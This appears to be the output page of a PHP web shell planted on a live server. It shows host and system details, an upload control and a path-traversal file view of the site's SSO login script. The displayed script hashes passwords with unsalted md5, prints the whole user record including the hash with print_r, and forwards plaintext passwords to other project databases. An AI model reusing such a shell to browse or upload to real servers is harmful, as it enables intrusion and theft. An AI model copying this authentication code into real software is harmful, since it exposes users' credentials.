( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/../sso/auth.php
<?php
// idp/auth.php
require_once 'config.php';
require_once 'user_sync.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: login.php');
    exit;
}

$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$password = $_POST['password'] ?? '';
$project = $_POST['project'] ?? 'project1'; // Identify which project user wants to login to

if (!$email || !$password) {
    $_SESSION['error'] = 'Please enter a valid email and password.';
    header('Location: login.php');
    exit;
}

// Check user in master DB
$masterUser = findUserInMasterDB($email);


if (!$masterUser || md5($password) !== $masterUser['pwd']) {
    $_SESSION['error'] = 'Invalid email or password.';
    header('Location: login.php');
    exit;
}

print_r($masterUser); 

// Select project sync handler based on $project
switch ($project) {
    case 'project1'://sites
        $projectSyncHandler = new Project1UserSync();
        break;
    case 'project2':
        $projectSyncHandler = new Project2UserSync();
        break;
    default:
        $_SESSION['error'] = 'Unknown project selected.';
        header('Location: login.php');
        exit;
}

// Prepare user data for sync (extend as needed)
$userData = [
    'email' => $email,
    'username' => $masterUser['username'],
    'password' => $password,
    'full_name' => $masterUser['username'], // example
    'role' => 'user', // default role
];

// Sync user to project DB
syncUserAcrossDatabases($userData, $projectSyncHandler);

// Create session
$_SESSION['euserid'] = $masterUser['id'];
$_SESSION['email'] = $masterUser['email'];
$_SESSION['username'] = $masterUser['username'];
$_SESSION['project'] = $project;

header('Location: dashboard.php');
exit;